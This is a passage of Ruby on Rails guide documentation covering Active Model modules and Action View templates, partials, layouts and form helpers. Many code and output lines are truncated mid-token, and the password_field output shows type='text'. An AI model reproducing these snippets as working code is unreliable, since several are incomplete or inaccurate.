Person.model_name.i18n_key # => :person
Person.model_name.route_key # => "people"
Person.model_name.singular_route_key # => "person"

1.7 Model
ActiveModel::Model adds the ability to a class to work with Action Pack

and Action View right out of the box.

class EmailContact
include ActiveModel::Model
attr_accessor :name, :email, :message
validates :name, :email, :message, presence: true
def deliver
if valid?
# deliver email
end
end
end

When including ActiveModel::Model you get some features like:

model name introspection

conversions
translations
validations
It also gives you the ability to initialize an object with a hash of attributes,
much like any Active Record object.
email_contact = EmailContact.new(name: 'David',
email: '[email protected]',
message: 'Hello World')
email_contact.name # => 'David'
email_contact.email # => '[email protected]'
email_contact.valid? # => true
email_contact.persisted? # => false

Any class that includes ActiveModel::Model can be used with form_for,

render and any other Action View helper methods, just like Active Record
objects.
1.8 Serialization
ActiveModel::Serialization provides basic serialization for your object.

You need to declare an attributes hash which contains the attributes you
want to serialize. Attributes must be strings, not symbols.
class Person
include ActiveModel::Serialization
attr_accessor :name
def attributes
{'name' => nil}
end
end

Now you can access a serialized hash of your object using the

serializable_hash.
person = Person.new
person.serializable_hash # => {"name"=>nil}
person.name = "Bob"
person.serializable_hash # => {"name"=>"Bob"}
1.8.1 ActiveModel::Serializers

Rails provides an ActiveModel::Serializers::JSON serializer. This

module automatically include the ActiveModel::Serialization.
1.8.1.1 ActiveModel::Serializers::JSON

To use the ActiveModel::Serializers::JSON you only need to change

from ActiveModel::Serialization to
ActiveModel::Serializers::JSON.
class Person
include ActiveModel::Serializers::JSON
attr_accessor :name
def attributes
{'name' => nil}
end
end

With the as_json method you have a hash representing the model.
person = Person.new
person.as_json # => {"name"=>nil}
person.name = "Bob"
person.as_json # => {"name"=>"Bob"}

From a JSON string you define the attributes of the model. You need to

have the attributes= method defined on your class:

class Person
include ActiveModel::Serializers::JSON
attr_accessor :name
def attributes=(hash)
hash.each do |key, value|
send("#{key}=", value)
end
end
def attributes
{'name' => nil}
end
end

Now it is possible to create an instance of person and set the attributes

using from_json.

json = { name: 'Bob' }.to_json

person = Person.new
person.from_json(json) # => #<Person:0x00000100c773f0 @name="Bob
person.name # => "Bob"

1.9 Translation
ActiveModel::Translation provides integration between your object and

the Rails internationalization (i18n) framework.

class Person
extend ActiveModel::Translation
end

With the human_attribute_name you can transform attribute names into a

more human format. The human format is defined in your locale file.

config/locales/app.pt-BR.yml
pt-BR:
activemodel:
attributes:
person:
name: 'Nome'
Person.human_attribute_name('name') # => "Nome"

1.10 Lint Tests

ActiveModel::Lint::Tests allows you to test whether an object is

compliant with the Active Model API.

app/models/person.rb
class Person
include ActiveModel::Model
end

test/models/person_test.rb
require 'test_helper'
class PersonTest < ActiveSupport::TestCase
include ActiveModel::Lint::Tests
setup do
@model = Person.new
end
end

$ rails test
Run options: --seed 14596

# Running:
......
Finished in 0.024899s, 240.9735 runs/s, 1204.8677 assertions/s.
6 runs, 30 assertions, 0 failures, 0 errors, 0 skips

An object is not required to implement all APIs in order to work with

Action Pack. This module only intends to provide guidance in case you
want all features out of the box.
1.11 SecurePassword
ActiveModel::SecurePassword provides a way to securely store any

password in an encrypted form. On including this module, a

has_secure_password class method is provided which defines an accessor
named password with certain validations on it.
1.11.1 Requirements

ActiveModel::SecurePassword depends on bcrypt, so include this gem

in your Gemfile to use ActiveModel::SecurePassword correctly. In order

to make this work, the model must have an accessor named

password_digest. The has_secure_password will add the following
validations on the password accessor:
1. Password should be present.
2. Password should be equal to its confirmation.
3. The maximum length of a password is 72 (required by bcrypt on
which ActiveModel::SecurePassword depends)
1.11.2 Examples

class Person

include ActiveModel::SecurePassword
has_secure_password
attr_accessor :password_digest
end
person = Person.new
# When password is blank.
person.valid? # => false
# When the confirmation doesn't match the password.
person.password = 'aditya'
person.password_confirmation = 'nomatch'
person.valid? # => false
# When the length of password exceeds 72.
person.password = person.password_confirmation = 'a' * 100
person.valid? # => false
# When all validations are passed.
person.password = person.password_confirmation = 'aditya'
person.valid? # => true

Action View Overview Ruby on

Rails...

1 What is Action View?

In Rails, web requests are handled by Action Controller and Action View.
Typically, Action Controller will be concerned with communicating with
the database and performing CRUD actions where necessary. Action View
is then responsible for compiling the response.
Action View templates are written using embedded Ruby in tags mingled
with HTML. To avoid cluttering the templates with boilerplate code, a
number of helper classes provide common behavior for forms, dates, and
strings. It's also easy to add new helpers to your application as it evolves.
Some features of Action View are tied to Active Record, but that doesn't
mean Action View depends on Active Record. Action View is an
independent package that can be used with any sort of Ruby libraries.

2 Using Action View with Rails

For each controller there is an associated directory in the app/views
directory which holds the template files that make up the views associated
with that controller. These files are used to display the view that results
from each controller action.
Let's take a look at what Rails does by default when creating a new
resource using the scaffold generator:
$ bin/rails generate scaffold article
[...]
invoke scaffold_controller
create app/controllers/articles_controller.rb
invoke erb
create app/views/articles
create app/views/articles/index.html.erb
create app/views/articles/edit.html.erb
create app/views/articles/show.html.erb
create app/views/articles/new.html.erb
create app/views/articles/_form.html.erb
[...]

There is a naming convention for views in Rails. Typically, the views

share their name with the associated controller action, as you can see
above. For example, the index controller action of the
articles_controller.rb will use the index.html.erb view file in the
app/views/articles directory. The complete HTML returned to the client
is composed of a combination of this ERB file, a layout template that
wraps it, and all the partials that the view may reference. Within this guide
you will find more detailed documentation about each of these three
components.

3 Templates, Partials and Layouts

As mentioned, the final HTML output is a composition of three Rails
elements: Templates, Partials and Layouts. Below is a brief overview of
each of them.
3.1 Templates
Action View templates can be written in several ways. If the template file
has a .erb extension then it uses a mixture of ERB (Embedded Ruby) and
HTML. If the template file has a .builder extension then the
Builder::XmlMarkup library is used.
Rails supports multiple template systems and uses a file extension to
distinguish amongst them. For example, an HTML file using the ERB
template system will have .html.erb as a file extension.
3.1.1 ERB

Within an ERB template, Ruby code can be included using both <% %> and
<%= %> tags. The <% %> tags are used to execute Ruby code that does not
return anything, such as conditions, loops or blocks, and the <%= %> tags
are used when you want output.
Consider the following loop for names:
<h1>Names of all the people</h1>
<% @people.each do |person| %>
Name: <%= person.name %><br>
<% end %>

The loop is set up using regular embedding tags (<% %>) and the name is
inserted using the output embedding tags (<%= %>). Note that this is not
just a usage suggestion: regular output functions such as print and puts

won't be rendered to the view with ERB templates. So this would be

wrong:
<%# WRONG %>
Hi, Mr. <% puts "Frodo" %>

To suppress leading and trailing whitespaces, you can use <%- -%>
interchangeably with <% and %>.
3.1.2 Builder

Builder templates are a more programmatic alternative to ERB. They are

especially useful for generating XML content. An XmlMarkup object
named xml is automatically made available to templates with a .builder
extension.
Here are some basic examples:
xml.em("emphasized")
xml.em { xml.b("emph & bold") }
xml.a("A Link", "href" => "http://rubyonrails.org")
xml.target("name" => "compile", "option" => "fast")

which would produce:

<em>emphasized</em>
<em><b>emph & bold</b></em>
<a href="http://rubyonrails.org">A link</a>
<target option="fast" name="compile" />

Any method with a block will be treated as an XML markup tag with
nested markup in the block. For example, the following:
xml.div {
xml.h1(@person.name)

xml.p(@person.bio)
}

would produce something like:

<div>
<h1>David Heinemeier Hansson</h1>
<p>A product of Danish Design during the Winter of '79...</p>
</div>

Below is a full-length RSS example actually used on Basecamp:

xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/el

xml.channel do
xml.title(@feed_title)
xml.link(@url)
xml.description "Basecamp: Recent items"
xml.language "en-us"
xml.ttl "40"

for item in @recent_items

xml.item do
xml.title(item_title(item))
xml.description(item_description(item)) if item_descript
xml.pubDate(item_pubDate(item))
xml.guid(@person.firm.account.url + @recent_items.url(it
xml.link(@person.firm.account.url + @recent_items.url(it
xml.tag!("dc:creator", item.author_name) if item_has_cre
end
end
end
end
3.1.3 Jbuilder

Jbuilder is a gem that's maintained by the Rails team and included in the
default Rails Gemfile. It's similar to Builder, but is used to generate JSON,
instead of XML.

If you don't have it, you can add the following to your Gemfile:
gem 'jbuilder'

A Jbuilder object named json is automatically made available to templates

with a .jbuilder extension.
Here is a basic example:
json.name("Alex")
json.email("[email protected]")

would produce:
{
"name": "Alex",
"email": "[email protected]"
}

See the Jbuilder documentation for more examples and information.

3.1.4 Template Caching

By default, Rails will compile each template to a method in order to render

it. When you alter a template, Rails will check the file's modification time
and recompile it in development mode.
3.2 Partials
Partial templates - usually just called "partials" - are another device for
breaking the rendering process into more manageable chunks. With
partials, you can extract pieces of code from your templates to separate
files and also reuse them throughout your templates.

3.2.1 Naming Partials

To render a partial as part of a view, you use the render method within the
view:
<%= render "menu" %>

This will render a file named _menu.html.erb at that point within the view
that is being rendered. Note the leading underscore character: partials are
named with a leading underscore to distinguish them from regular views,
even though they are referred to without the underscore. This holds true
even when you're pulling in a partial from another folder:
<%= render "shared/menu" %>

That code will pull in the partial from

app/views/shared/_menu.html.erb.
3.2.2 Using Partials to simplify Views

One way to use partials is to treat them as the equivalent of subroutines; a

way to move details out of a view so that you can grasp what's going on
more easily. For example, you might have a view that looks like this:
<%= render "shared/ad_banner" %>
<h1>Products</h1>

<p>Here are a few of our fine products:</p>

<% @products.each do |product| %>
<%= render partial: "product", locals: { product: product } %>
<% end %>
<%= render "shared/footer" %>

Here, the _ad_banner.html.erb and _footer.html.erb partials could

contain content that is shared among many pages in your application. You
don't need to see the details of these sections when you're concentrating on
a particular page.
3.2.3 render without partial and locals options

In the above example, render takes 2 options: partial and locals. But if
these are the only options you want to pass, you can skip using these
options. For example, instead of:
<%= render partial: "product", locals: { product: @product } %>

You can also do:

<%= render "product", product: @product %>
3.2.4 The as and object options

By default ActionView::Partials::PartialRenderer has its object in a

local variable with the same name as the template. So, given:
<%= render partial: "product" %>

within _product partial we'll get @product in the local variable product,
as if we had written:
<%= render partial: "product", locals: { product: @product } %>

With the as option we can specify a different name for the local variable.
For example, if we wanted it to be item instead of product we would do:
<%= render partial: "product", as: "item" %>

The object option can be used to directly specify which object is rendered
into the partial; useful when the template's object is elsewhere (e.g. in a
different instance variable or in a local variable).
For example, instead of:
<%= render partial: "product", locals: { product: @item } %>

we would do:
<%= render partial: "product", object: @item %>

The object and as options can also be used together:

<%= render partial: "product", object: @item, as: "item" %>
3.2.5 Rendering Collections

It is very common that a template will need to iterate over a collection and
render a sub-template for each of the elements. This pattern has been
implemented as a single method that accepts an array and renders a partial
for each one of the elements in the array.
So this example for rendering all the products:

<% @products.each do |product| %>

<%= render partial: "product", locals: { product: product } %>
<% end %>

can be rewritten in a single line:

<%= render partial: "product", collection: @products %>

When a partial is called with a collection, the individual instances of the

partial have access to the member of the collection being rendered via a
variable named after the partial. In this case, the partial is _product, and
within it you can refer to product to get the collection member that is
being rendered.
You can use a shorthand syntax for rendering collections. Assuming
@products is a collection of Product instances, you can simply write the
following to produce the same result:
<%= render @products %>

Rails determines the name of the partial to use by looking at the model
name in the collection, Product in this case. In fact, you can even render a
collection made up of instances of different models using this shorthand,
and Rails will choose the proper partial for each member of the collection.
3.2.6 Spacer Templates

You can also specify a second partial to be rendered between instances of

the main partial by using the :spacer_template option:

<%= render partial: @products, spacer_template: "product_ruler"

Rails will render the _product_ruler partial (with no data passed to it)
between each pair of _product partials.
3.3 Layouts
Layouts can be used to render a common view template around the results
of Rails controller actions. Typically, a Rails application will have a
couple of layouts that pages will be rendered within. For example, a site

might have one layout for a logged in user and another for the marketing
or sales side of the site. The logged in user layout might include top-level
navigation that should be present across many controller actions. The sales
layout for a SaaS app might include top-level navigation for things like
"Pricing" and "Contact Us" pages. You would expect each layout to have a
different look and feel. You can read about layouts in more detail in the
Layouts and Rendering in Rails guide.

4 Partial Layouts
Partials can have their own layouts applied to them. These layouts are
different from those applied to a controller action, but they work in a
similar fashion.
Let's say we're displaying an article on a page which should be wrapped in
a div for display purposes. Firstly, we'll create a new Article:
Article.create(body: 'Partial Layouts are cool!')

In the show template, we'll render the _article partial wrapped in the box
layout:
articles/show.html.erb

<%= render partial: 'article', layout: 'box', locals: { article:

The box layout simply wraps the _article partial in a div:

articles/_box.html.erb
<div class='box'>
<%= yield %>
</div>

Note that the partial layout has access to the local article variable that
was passed into the render call. However, unlike application-wide layouts,
partial layouts still have the underscore prefix.
You can also render a block of code within a partial layout instead of
calling yield. For example, if we didn't have the _article partial, we
could do this instead:

articles/show.html.erb
<% render(layout: 'box', locals: { article: @article }) do %>
<div>
<p><%= article.body %></p>
</div>
<% end %>

Supposing we use the same _box partial from above, this would produce
the same output as the previous example.

5 View Paths
When rendering a response, the controller needs to resolve where the
different views are located. By default it only looks inside the app/views
directory.
We can add other locations and give them a certain precedence when
resolving paths using the prepend_view_path and append_view_path
methods.
5.1 Prepend view path
This can be helpful for example, when we want to put views inside a
different directory for subdomains.
We can do this by using:
prepend_view_path "app/views/#{request.subdomain}"

Then Action View will look first in this directory when resolving views.
5.2 Append view path
Similarly, we can append paths:
append_view_path "app/views/direct"

This will add app/views/direct to the end of the lookup paths.

6 Overview of helpers provided by Action View

WIP: Not all the helpers are listed here. For a full list see the API
documentation
The following is only a brief overview summary of the helpers available in
Action View. It's recommended that you review the API Documentation,
which covers all of the helpers in more detail, but this should serve as a
good starting point.
6.1 AssetTagHelper
This module provides methods for generating HTML that links views to
assets such as images, JavaScript files, stylesheets, and feeds.
By default, Rails links to these assets on the current host in the public
folder, but you can direct Rails to link to assets from a dedicated assets
server by setting config.action_controller.asset_host in the
application configuration, typically in
config/environments/production.rb. For example, let's say your asset
host is assets.example.com:

config.action_controller.asset_host = "assets.example.com"
image_tag("rails.png") # => <img src="http://assets.example.com/
6.1.1 auto_discovery_link_tag

Returns a link tag that browsers and feed readers can use to auto-detect an
RSS or Atom feed.

auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss",
<link rel="alternate" type="application/rss+xml" title="RSS Fe
6.1.2 image_path

Computes the path to an image asset in the app/assets/images directory.

Full paths from the document root will be passed through. Used internally
by image_tag to build the image path.
image_path("edit.png") # => /assets/edit.png

Fingerprint will be added to the filename if config.assets.digest is set to

true.

image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fed

6.1.3 image_url

Computes the URL to an image asset in the app/assets/images directory.

This will call image_path internally and merge with your current host or
your asset host.

image_url("edit.png") # => http://www.example.com/assets/edit.pn

6.1.4 image_tag

Returns an HTML image tag for the source. The source can be a full path
or a file that exists in your app/assets/images directory.

image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon

6.1.5 javascript_include_tag

Returns an HTML script tag for each of the sources provided. You can
pass in the filename (.js extension is optional) of JavaScript files that
exist in your app/assets/javascripts directory for inclusion into the
current page or you can pass the full path relative to your document root.

javascript_include_tag "common" # => <script src="/assets/common

If the application does not use the asset pipeline, to include the jQuery
JavaScript library in your application, pass :defaults as the source. When
using :defaults, if an application.js file exists in your
app/assets/javascripts directory, it will be included as well.
javascript_include_tag :defaults

You can also include all JavaScript files in the app/assets/javascripts

directory using :all as the source.
javascript_include_tag :all

You can also cache multiple JavaScript files into one file, which requires
less HTTP connections to download and can better be compressed by gzip
(leading to faster transfers). Caching will only happen if
ActionController::Base.perform_caching is set to true (which is the
case by default for the Rails production environment, but not for the
development environment).
javascript_include_tag :all, cache: true # =>
<script src="/javascripts/all.js"></script>
6.1.6 javascript_path

Computes the path to a JavaScript asset in the app/assets/javascripts

directory. If the source filename has no extension, .js will be appended.
Full paths from the document root will be passed through. Used internally
by javascript_include_tag to build the script path.
javascript_path "common" # => /assets/common.js
6.1.7 javascript_url

Computes the URL to a JavaScript asset in the app/assets/javascripts

directory. This will call javascript_path internally and merge with your
current host or your asset host.

javascript_url "common" # => http://www.example.com/assets/commo

6.1.8 stylesheet_link_tag

Returns a stylesheet link tag for the sources specified as arguments. If you
don't specify an extension, .css will be appended automatically.

stylesheet_link_tag "application" # => <link href="/assets/appli

You can also include all styles in the stylesheet directory using :all as the
source:
stylesheet_link_tag :all

You can also cache multiple stylesheets into one file, which requires less
HTTP connections and can better be compressed by gzip (leading to faster
transfers). Caching will only happen if
ActionController::Base.perform_caching is set to true (which is the case
by default for the Rails production environment, but not for the
development environment).

stylesheet_link_tag :all, cache: true

# => <link href="/assets/all.css" media="screen" rel="stylesheet
6.1.9 stylesheet_path

Computes the path to a stylesheet asset in the app/assets/stylesheets

directory. If the source filename has no extension, .css will be appended.
Full paths from the document root will be passed through. Used internally

by stylesheet_link_tag to build the stylesheet path.

stylesheet_path "application" # => /assets/application.css
6.1.10 stylesheet_url

Computes the URL to a stylesheet asset in the app/assets/stylesheets

directory. This will call stylesheet_path internally and merge with your
current host or your asset host.

stylesheet_url "application" # => http://www.example.com/assets/

6.2 AtomFeedHelper
6.2.1 atom_feed

This helper makes building an Atom feed easy. Here's a full usage
example:
config/routes.rb
resources :articles

app/controllers/articles_controller.rb
def index
@articles = Article.all
respond_to do |format|
format.html
format.atom
end
end

6.3 BenchmarkHelper
6.3.1 benchmark

Allows you to measure the execution time of a block in a template and

records the result to the log. Wrap this block around expensive operations
or possible bottlenecks to get a time reading for the operation.
<% benchmark "Process data files" do %>
<%= expensive_files_operation %>
<% end %>

This would add something like "Process data files (0.34523)" to the log,
which you can then use to compare timings when optimizing your code.
6.4 CacheHelper
6.4.1 cache

A method for caching fragments of a view rather than an entire action or

page. This technique is useful for caching pieces like menus, lists of news
topics, static HTML fragments, and so on. This method takes a block that
contains the content you wish to cache. See
AbstractController::Caching::Fragments for more information.
<% cache do %>
<%= render "shared/footer" %>
<% end %>

6.5 CaptureHelper
6.5.1 capture

The capture method allows you to extract part of a template into a

variable. You can then use this variable anywhere in your templates or
layout.
<% @greeting = capture do %>
<p>Welcome! The date and time is <%= Time.now %></p>
<% end %>

The captured variable can then be used anywhere else.

<html>
<head>
<title>Welcome!</title>
</head>
<body>
<%= @greeting %>
</body>
</html>
6.5.2 content_for

Calling content_for stores a block of markup in an identifier for later use.

You can make subsequent calls to the stored content in other templates or
the layout by passing the identifier as an argument to yield.
For example, let's say we have a standard application layout, but also a
special page that requires certain JavaScript that the rest of the site doesn't
need. We can use content_for to include this JavaScript on our special
page without fattening up the rest of the site.
app/views/layouts/application.html.erb
<html>
<head>
<title>Welcome!</title>
<%= yield :special_script %>
</head>
<body>
<p>Welcome! The date and time is <%= Time.now %></p>
</body>
</html>

app/views/articles/special.html.erb
<p>This is a special page.</p>
<% content_for :special_script do %>
<script>alert('Hello!')</script>
<% end %>

6.6 DateHelper
6.6.1 date_select

Returns a set of select tags (one for year, month, and day) pre-selected for
accessing a specified date-based attribute.

date_select("article", "published_on")
6.6.2 datetime_select

Returns a set of select tags (one for year, month, day, hour, and minute)
pre-selected for accessing a specified datetime-based attribute.
datetime_select("article", "published_on")
6.6.3 distance_of_time_in_words

Reports the approximate distance in time between two Time or Date

objects or integers as seconds. Set include_seconds to true if you want
more detailed approximations.

distance_of_time_in_words(Time.now, Time.now + 15.seconds)

distance_of_time_in_words(Time.now, Time.now + 15.seconds, inclu
6.6.4 select_date

Returns a set of HTML select-tags (one for year, month, and day) preselected with the date provided.

# Generates a date select that defaults to the date provided (si

select_date(Time.today + 6.days)

# Generates a date select that defaults to today (no specified d

select_date()
6.6.5 select_datetime

Returns a set of HTML select-tags (one for year, month, day, hour, and
minute) pre-selected with the datetime provided.

# Generates a datetime select that defaults to the datetime prov

select_datetime(Time.now + 4.days)

# Generates a datetime select that defaults to today (no specifi

select_datetime()
6.6.6 select_day

Returns a select tag with options for each of the days 1 through 31 with the
current day selected.

# Generates a select field for days that defaults to the day for
select_day(Time.today + 2.days)

# Generates a select field for days that defaults to the number

select_day(5)
6.6.7 select_hour

Returns a select tag with options for each of the hours 0 through 23 with
the current hour selected.

# Generates a select field for hours that defaults to the hours

select_hour(Time.now + 6.hours)
6.6.8 select_minute

Returns a select tag with options for each of the minutes 0 through 59 with
the current minute selected.

# Generates a select field for minutes that defaults to the minu

select_minute(Time.now + 10.minutes)
6.6.9 select_month

Returns a select tag with options for each of the months January through

December with the current month selected.

# Generates a select field for months that defaults to the curre

select_month(Date.today)
6.6.10 select_second

Returns a select tag with options for each of the seconds 0 through 59 with
the current second selected.

# Generates a select field for seconds that defaults to the seco

select_second(Time.now + 16.seconds)
6.6.11 select_time

Returns a set of HTML select-tags (one for hour and minute).

# Generates a time select that defaults to the time provided
select_time(Time.now)
6.6.12 select_year

Returns a select tag with options for each of the five years on each side of
the current, which is selected. The five year radius can be changed using
the :start_year and :end_year keys in the options.

# Generates a select field for five years on either side of Date

select_year(Date.today)

# Generates a select field from 1900 to 2009 that defaults to th

select_year(Date.today, start_year: 1900, end_year: 2009)
6.6.13 time_ago_in_words

Like distance_of_time_in_words, but where to_time is fixed to

Time.now.
time_ago_in_words(3.minutes.from_now) # => 3 minutes
6.6.14 time_select

Returns a set of select tags (one for hour, minute and optionally second)
pre-selected for accessing a specified time-based attribute. The selects are
prepared for multi-parameter assignment to an Active Record object.

# Creates a time select tag that, when POSTed, will be stored in

time_select("order", "submitted")

6.7 DebugHelper
Returns a pre tag that has object dumped by YAML. This creates a very
readable way to inspect an object.

my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3]

debug(my_hash)
<pre class='debug_dump'>--first: 1
second: two
third:
- 1
- 2
- 3
</pre>

6.8 FormHelper
Form helpers are designed to make working with models much easier
compared to using just standard HTML elements by providing a set of

methods for creating forms based on your models. This helper generates
the HTML for forms, providing a method for each sort of input (e.g., text,
password, select, and so on). When the form is submitted (i.e., when the
user hits the submit button or form.submit is called via JavaScript), the
form inputs will be bundled into the params object and passed back to the
controller.
There are two types of form helpers: those that specifically work with
model attributes and those that don't. This helper deals with those that
work with model attributes; to see an example of form helpers that don't
work with model attributes, check the
ActionView::Helpers::FormTagHelper documentation.
The core method of this helper, form_for, gives you the ability to create a
form for a model instance; for example, let's say that you have a model
Person and want to create a new instance of it:

# Note: a @person variable will have been created in the control

<%= form_for @person, url: { action: "create" } do |f| %>
<%= f.text_field :first_name %>
<%= f.text_field :last_name %>
<%= submit_tag 'Create' %>
<% end %>

The HTML generated for this would be:

<form action="/people/create" method="post">

The params object created when this form is submitted would look like:

{ "action" => "create", "controller" => "people", "person" => {

The params hash has a nested person value, which can therefore be
accessed with params[:person] in the controller.
6.8.1 check_box

Returns a checkbox tag tailored for accessing a specified attribute.

# Let's say that @article.validated? is 1:

check_box("article", "validated")
# => <input type="checkbox" id="article_validated" name="article
# <input name="article[validated]" type="hidden" value="0" />
6.8.2 fields_for

Creates a scope around a specific model object like form_for, but doesn't
create the form tags themselves. This makes fields_for suitable for
specifying additional model objects in the same form:

<%= form_for @person, url: { action: "update" } do |person_form|

First name: <%= person_form.text_field :first_name %>
Last name : <%= person_form.text_field :last_name %>
<%= fields_for @person.permission do |permission_fields| %>
Admin? : <%= permission_fields.check_box :admin %>
<% end %>
<% end %>
6.8.3 file_field

Returns a file upload input tag tailored for accessing a specified attribute.
file_field(:user, :avatar)
# => <input type="file" id="user_avatar" name="user[avatar]" />
6.8.4 form_for

Creates a form and a scope around a specific model object that is used as a
base for questioning about values for the fields.
<%= form_for @article do |f| %>
<%= f.label :title, 'Title' %>:
<%= f.text_field :title %><br>
<%= f.label :body, 'Body' %>:
<%= f.text_area :body %><br>
<% end %>
6.8.5 hidden_field

Returns a hidden input tag tailored for accessing a specified attribute.

hidden_field(:user, :token)
# => <input type="hidden" id="user_token" name="user[token]" val
6.8.6 label

Returns a label tag tailored for labelling an input field for a specified
attribute.
label(:article, :title)
# => <label for="article_title">Title</label>
6.8.7 password_field

Returns an input tag of the "password" type tailored for accessing a

specified attribute.

password_field(:login, :pass)
# => <input type="text" id="login_pass" name="login[pass]" value
6.8.8 radio_button

Returns a radio button tag for accessing a specified attribute.

# Let's say that @article.category returns "rails":

radio_button("article", "category", "rails")
radio_button("article", "category", "java")
# => <input type="radio" id="article_category_rails" name="artic
# <input type="radio" id="article_category_java" name="articl
6.8.9 text_area

Returns a textarea opening and closing tag set tailored for accessing a
specified attribute.

text_area(:comment, :text, size: "20x30")

# => <textarea cols="20" rows="30" id="comment_text" name="comme
# #{@comment.text}
# </textarea>
6.8.10 text_field

Returns an input tag of the "text" type tailored for accessing a specified
attribute.

text_field(:article, :title)
# => <input type="text" id="article_title" name="article[title]"
6.8.11 email_field

Returns an input tag of the "email" type tailored for accessing a specified
attribute.

email_field(:user, :email)
# => <input type="email" id="user_email" name="user[email]" valu
6.8.12 url_field

Returns an input tag of the "url" type tailored for accessing a specified
attribute.

url_field(:user, :url)
# => <input type="url" id="user_url" name="user[url]" value="#{@

6.9 FormOptionsHelper
Provides a number of methods for turning different kinds of containers
into a set of option tags.
6.9.1 collection_select

Returns select and option tags for the collection of existing return values
of method for object's class.
Example object structure for use with this method:
class Article < ApplicationRecord
belongs_to :author
end
class Author < ApplicationRecord
has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end

Sample usage (selecting the associated Author for an instance of Article,

@article):

collection_select(:article, :author_id, Author.all, :id, :name_w

If @article.author_id is 1, this would return:

<select name="article[author_id]">
<option value="">Please select</option>
<option value="1" selected="selected">D. Heinemeier Hansson</o
<option value="2">D. Thomas</option>
<option value="3">M. Clark</option>
</select>
6.9.2 collection_radio_buttons

Returns radio_button tags for the collection of existing return values of

method for object's class.
Example object structure for use with this method:
class Article < ApplicationRecord
belongs_to :author
end
class Author < ApplicationRecord
has_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end

Sample usage (selecting the associated Author for an instance of Article,

@article):

collection_radio_buttons(:article, :author_id, Author.all, :id,

If @article.author_id is 1, this would return:

<input id="article_author_id_1" name="article[author_id]" type="

<label for="article_author_id_1">D. Heinemeier Hansson</label>
<input id="article_author_id_2" name="article[author_id]" type="
<label for="article_author_id_2">D. Thomas</label>
<input id="article_author_id_3" name="article[author_id]" type="

<label for="article_author_id_3">M. Clark</label>

6.9.3 collection_check_boxes

Returns check_box tags for the collection of existing return values of

method for object's class.
Example object structure for use with this method:
class Article < ApplicationRecord
has_and_belongs_to_many :authors
end
class Author < ApplicationRecord
has_and_belongs_to_many :articles
def name_with_initial
"#{first_name.first}. #{last_name}"
end
end

Sample usage (selecting the associated Authors for an instance of Article,

@article):

collection_check_boxes(:article, :author_ids, Author.all, :id, :

If @article.author_ids is [1], this would return:

<input id="article_author_ids_1" name="article[author_ids][]" ty

<label for="article_author_ids_1">D. Heinemeier Hansson</label>
<input id="article_author_ids_2" name="article[author_ids][]" ty
<label for="article_author_ids_2">D. Thomas</label>
<input id="article_author_ids_3" name="article[author_ids][]" ty
<label for="article_author_ids_3">M. Clark</label>
<input name="article[author_ids][]" type="hidden" value="" />
6.9.4 option_groups_from_collection_for_select

Returns a string of option tags, like

options_from_collection_for_select, but groups them by optgroup

Sample usage:

option_groups_from_collection_for_select(@continents, :countries

Possible output:
<optgroup label="Africa">
<option value="1">Egypt</option>
<option value="4">Rwanda</option>
...
</optgroup>
<optgroup label="Asia">
<option value="3" selected="selected">China</option>
<option value="12">India</option>
<option value="5">Japan</option>
...
</optgroup>

Note: Only the optgroup and option tags are returned, so you still have to
wrap the output in an appropriate select tag.

6.9.5 options_for_select

Accepts a container (hash, array, enumerable, your type) and returns a

string of option tags.
options_for_select([ "VISA", "MasterCard" ])
# => <option>VISA</option> <option>MasterCard</option>

Note: Only the option tags are returned, you have to wrap this call in a
regular HTML select tag.
6.9.6 options_from_collection_for_select

Returns a string of option tags that have been compiled by iterating over
the collection and assigning the result of a call to the value_method as
the option value and the text_method as the option text.

# options_from_collection_for_select(collection, value_method, t

For example, imagine a loop iterating over each person in

@project.people to generate an input tag:

options_from_collection_for_select(@project.people, "id", "name"

# => <option value="#{person.id}">#{person.name}</option>

Note: Only the option tags are returned, you have to wrap this call in a
regular HTML select tag.
6.9.7 select

Create a select tag and a series of contained option tags for the provided
object and method.
Example:

select("article", "person_id", Person.all.collect { |p| [ p.name

If @article.person_id is 1, this would become:

<select name="article[person_id]">
<option value=""></option>
<option value="1" selected="selected">David</option>
<option value="2">Eileen</option>
<option value="3">Rafael</option>
</select>
6.9.8 time_zone_options_for_select

Returns a string of option tags for pretty much any time zone in the world.
6.9.9 time_zone_select

Returns select and option tags for the given object and method, using
time_zone_options_for_select to generate the list of option tags.
time_zone_select( "user", "time_zone")
6.9.10 date_field

Returns an input tag of the "date" type tailored for accessing a specified
attribute.
date_field("user", "dob")

6.10 FormTagHelper
Provides a number of methods for creating form tags that don't rely on an
Active Record object assigned to the template like FormHelper does.
Instead, you provide the names and values manually.

6.10.1 check_box_tag

Creates a check box form input tag.

check_box_tag 'accept'
# => <input id="accept" name="accept" type="checkbox" value="1"
6.10.2 field_set_tag

Creates a field set for grouping HTML form elements.

<%= field_set_tag do %>

<p><%= text_field_tag 'name' %></p>
<% end %>
# => <fieldset><p><input id="name" name="name" type="text" /></p
6.10.3 file_field_tag

Creates a file upload field.

<%= form_tag({ action: "post" }, multipart: true) do %>

<label for="file">File to Upload</label> <%= file_field_tag "f
<%= submit_tag %>
<% end %>

Example output:
file_field_tag 'attachment'
# => <input id="attachment" name="attachment" type="file" />
6.10.4 form_tag

Starts a form tag that points the action to a URL configured with
url_for_options just like ActionController::Base#url_for.
<%= form_tag '/articles' do %>

<div><%= submit_tag 'Save' %></div>

<% end %>
# => <form action="/articles" method="post"><div><input type="su
6.10.5 hidden_field_tag

Creates a hidden form input field used to transmit data that would be lost
due to HTTP's statelessness or data that should be hidden from the user.

hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'

# => <input id="token" name="token" type="hidden" value="VUBJKB2
6.10.6 image_submit_tag

Displays an image which when clicked will submit the form.

image_submit_tag("login.png")
# => <input src="/images/login.png" type="image" />
6.10.7 label_tag

Creates a label field.

label_tag 'name'
